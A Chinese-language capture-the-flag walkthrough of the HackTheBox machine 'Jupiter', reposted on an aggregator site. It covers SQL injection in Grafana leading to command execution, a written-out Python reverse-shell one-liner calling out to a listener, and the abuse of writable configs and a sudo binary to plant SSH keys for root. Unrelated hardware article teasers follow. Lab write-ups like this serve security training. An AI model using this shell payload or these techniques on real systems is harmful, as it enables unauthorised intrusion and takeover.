HackTheBox - Medium - Linux - Jupiter

Jupiter

Jupiter 是一台中等难度的 Linux 机器,它有一个使用 PostgreSQL 数据库的 Grafana 实例,该数据库在权限上过度扩展,容易受到 SQL 注入的影响,因此容易受到远程代码执行的影响。一旦站稳脚跟,就会注意到一个名为 Shadow 的实用程序,这是一种科学实验工具,可以简化对真实网络应用程序的评估,但其配置文件的权限配置错误。然后,通过查看与 Jupyter Notebook 关联的日志文件来实现横向移动,这些日志文件包含次要用户的令牌。获得对此用户的访问权限后,可以通过滥用卫星跟踪系统二进制文件来实现权限提升,该二进制文件可能由次要用户使用“sudo”权限执行。


外部信息搜集

端口扫描

循例nmap

file

Web枚举

访问80跳转到了jupiter.htb,加入/etc/hosts

file

vhost扫描

ffuf扫出一个vhost

file

kiosk子域

file

SQL注入

我在查看bp日志的时候发现了这个包,里面包含了非常显眼的sql查询语句

file

把请求给到repeater,使用version()查询一下,发现执行成功

file

接下啦就不再需要脑子了,我们可以通过sqlmap一键尝试RCE

file

正如所料,是DBA

file

来个常规python3 reverse shell payload

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' &

payload最后的&不能少,否则shell可能会被杀死

getshell

file

本地横向移动 -> juno

传个pspy

file

2023/12/22 07:24:01 CMD: UID=1000  PID=2159   | 
2023/12/22 07:24:01 CMD: UID=1000  PID=2160   | rm -rf /dev/shm/shadow.data 
2023/12/22 07:24:01 CMD: UID=1000  PID=2161   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:01 CMD: UID=1000  PID=2164   | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/12/22 07:24:01 CMD: UID=1000  PID=2165   | lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/12/22 07:24:01 CMD: UID=1000  PID=2170   | 
2023/12/22 07:24:02 CMD: UID=1000  PID=2171   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:02 CMD: UID=1000  PID=2173   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:02 CMD: UID=1000  PID=2175   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 

我们可以看到/home/juno/.local/bin/shadow这个应用似乎正将yml文件名作为输入并运行

这个文件我们有权读写

file

当我查看该文件时,接下来要做的事情便不再需要解释了

file

python3 payload

file

发现它确实执行了,但似乎执行没成功,反正我没get到shell

换种方法,直接写入ssh key

file

这次也执行了

file

登一下ssh看看有没有成功

file

本地横向移动 -> jovian

我看到当前用户具有另一个组,下意识查看那个组是否具有某些文件或目录

file

当我查看其中一个日志文件后,我发现本地8888端口的http服务应该就是jupyter

file

ssh做个端口转发

file

通过日志文件里的正确token,我们能够登录进去

file

进入这个文件

file

在这里我们能够运行python代码

直接来个python shellcode

file

nc

file

本地权限提升

sudo -l

file

通过strace发现它会读取/tmp/config.json,但由于不清楚它的配置究竟是怎么样的,所以即使我们自己创建了文件也没有意义

file

find

file

在那个目录下有我们想要的config.json

file

{"tleroot": "/tmp/tle/","tlefile": "weather.txt","mapfile": "/usr/local/share/sattrack/map.json","texturefile": "/usr/local/share/sattrack/earth.png","tlesources": ["http://celestrak.org/NORAD/elements/weather.txt","http://celestrak.org/NORAD/elements/noaa.txt","http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"],"updatePerdiod": 1000,"station": {"name": "LORCA","lat": 37.6725,"lon": -1.5863,"hgt": 335.0},"show": [],"columns": ["name","azel","dis","geo","tab","pos","vel"]
}

将config.json复制到/tmp

file

运行看看效果

file

主要关注这句话

tleroot does not exist, creating it: /tmp/tle/

我们可以将tleroot改到/root/.ssh,然后它就会去请求tlesources的文件复制到tleroot,我们可以指定ssh public key

编辑/tmp/config.json

file

再次执行

file

ssh登root

file

root flag 还在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/342277.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

工业以太网交换机的冗余功能及发展历程介绍

由于工业环境对工业控制网络可靠性能的超高要求,工业以太网的冗余功能应运而生。从快速生成树冗余(RSTP)、环网冗余(RapidRing)到主干冗余(Trunking),都有各自不同的优势和特点。报警、串口使用、主干&…

常用电源符号含义分享

电源符号,你是否还傻傻分不清楚?常用电源符号附上! 在电路设计中,总会出现各式各样的电源符号,经常会把人弄懵逼,今天小编整理了二十多个比较常用的电源符号分享给大家,快收藏呀。 1.VBB&#…

activemq网络桥接_ActiveMQ –经纪人网络解释–第5部分

activemq网络桥接在前面的第4部分中,我们已经看到了如何使用网络连接器在队列中平衡远程使用者的负载。 在第5部分中,如果主题上同时存在多个远程持久订阅者,我们将看到相同的配置如何工作。 考虑以下配置…。 图1:经纪人网络–…

模拟量、数字量与开关量的区别

我们常说模拟量、数字量、开关量,从字面意思大概也能明白部分意思,但它们到底是什么,有什么特点和区别呢?今天我们就专门来讲一讲,模拟量、数字量以及开关量的概念和区别。 模拟量 模拟量是指变量在一定范围内连续变…

工业以太网交换机的优势以及注意事项介绍

工业交换机的应用十分广泛,具有电信级性能特征,可耐受严苛的工作环境,在行业应用方面,主要应用于:煤矿安全、轨道交通、工厂自动化、水处理系统、城市安防等。接下来杭州飞畅的小编就来为大家详细介绍下工业以太网交换…

LoRa Basics无线通信技术和应用案例详解

什么是LoRa Basics技术 LoRa Basics就是Semtech Corporation基于LoRaWAN协议推出软件构建模块。LoRa Basics提取常用的LoRaWAN功能,即所有终端设备、网关或基于LoRaWAN解决方案的开发人员都必须实现的功能,并提供一组与规范兼容的、免费的、可提供支持的…

蓝牙模块的分类和对应的属性特点

蓝牙模块的分类,具体的属性特点,蓝牙协议5.0与4.2之间的区别,蓝牙角色 一、蓝牙模块的分类 ESP-WROOM-32 ESP32-WROVER E72-2G4M02S2B E72-2G4M05S1B E104-BT01 E104-BT02 E104-BT10 E73-2G4M04S1A E73-2G4M04S1B E73-2G4M04S1D E73-2G4M0…

工业以太网交换机的作用和工作原理详解

工业以太网交换机是基于以太网传输数据的交换机,以太网采用共享总线型传输媒体方式的局域网。工业以太网交换机的结构是每个端口都直接与主机相连,并且一般都工作在全双工方式。交换机能同时连通许多对端口,使每一对相互通信的主机都能像独占…

[渝粤教育] 天津城建大学 混凝土结构设计原理A 参考 资料

教育 -混凝土结构设计原理A-章节资料考试资料-天津城建大学【】 第一章单元测验 1、【单选题】混凝土结构设计方法的发展进程中,属于结构生命全过程设计法(即兼顾结构安全性、适用性和耐久性),且运用概率方法度量结构可靠性的是 A…

蓝牙模块有哪些种类?BLE低功耗蓝牙模块有什么特点?

Ble蓝牙模块是专为物联网无线数据传输而生,ble蓝牙模块以其超低功耗、快速连接、容易交互等特点,已广泛应用于物联网蓝牙设备中。 一、蓝牙模块的分类 那么,蓝牙模块都有哪些种类呢?按照一般的用途来分类的话可以简单的分3类&am…

akka应用_处理Akka应用程序中的每个事件

akka应用这里的事件,那里的事件,到处都是事件。 发布有关检查每一项Akka事件最终都能找到归宿的信息。 Akka和基于事件的React式应用程序是创建软件的新方法。 在当前基于Scala的项目中,我们非常密集地使用Akka。 事件非常适合我们的用例&am…

工业以太网交换机故障的排障步骤

工业以太网交换机在工业安防领域的应用可以说是非常的广泛了,我们在使用工业交换机的过程中,难免会遇到各种各样的故障问题,但是工业以太网交换机的故障有多种多样,不同的故障有不同的表现形式,那么,我们在…

EDA软件断供对国产芯片发展有什么影响?

美国断供EDA软件,对国产芯片发展有什么影响?国产EDA水平如何? 没有EDA,就没有芯片 EDA(Electronic Design Automation),即电子设计自动化,是利用计算机辅助完成集成电路芯片的设计…

前途无量的MEMS传感器技术

MEMS传感器即微机电系统(Micro-electro Mechanical Systems),是指将精密机械系统与微电子电路技术结合发展出来的一项工程技术,它的尺寸一般在微米量级。封装技术是MEMS传感器成功的关键,其技术包括SIP(系统…

工业以太网交换机几点常见故障解析

用户在使用工业交换机的时候,往往会碰到很多故障问题,由于工业交换机的故障现象是多种多样的,没有一个固定的排除步骤,我们在排除故障的过程中只能具体情况具体分析了。在这里,杭州飞畅科技的小编为此专门整理了一些大…

内置单片机的433无线模块高速连传典型运用

E61是高速型 433M 无线数传模块,内置高性能单片机和高速无线 RF 芯片,UART串口透明传输,工作在 425~450.5MHz 频段(默认 433MHz),发射功率最大1W。无线模块在“连续传输方式”下不限数据包的长度&#xff0…

飞畅科技-工业以太网交换机市场发展情况介绍

现如今,在各类工业工程中,我们通常会采用专用的工业以太网交换机,定义不同的太网帧优先等级,让用户所希望的信息能够以最快的速度传递出去。目前,我国工业以太网交换机行业整体上仍处于导入阶段,下游客户主…

只读副本和Spring Data第2部分:配置基础项目

在上一篇文章中,我们使用相同的数据设置了多个PostgreSQL实例。 我们的下一步将是使用这两个服务器来配置我们的spring项目。 如前所述,由于我们使用完全相同的数据库,因此我们将使用Spring Boot JPA帖子中的一些代码。 这将是我们的gradl…

窄带传输与LoRa扩频传输技术应用方案对比

一、窄带传输与lora模块扩频传输技术对比 上图为成都亿佰特电子科技有限公司基于AX5043https://www.ebyte.com/product-class.aspx?cid1和SX1278https://www.ebyte.com/product-class.aspx?cid1&pid182两款芯片方案研发的极具有特色的E31系列窄带无线传输模块和E32扩频无…

[渝粤教育] 新乡医学院三全学院 人体解剖学 参考 资料

教育 -人体解剖学-章节资料考试资料-新乡医学院三全学院【】 绪论单元测试 1、【单选题】下述哪一项不符合解剖学姿势 A、身体直立 B、两眼向前平视 C、上肢垂于躯干两侧 D、手掌向内侧 E、两足并立、足尖向前 参考资料【 】 2、【单选题】关于方位术语的正确描述是 A、人体仰卧…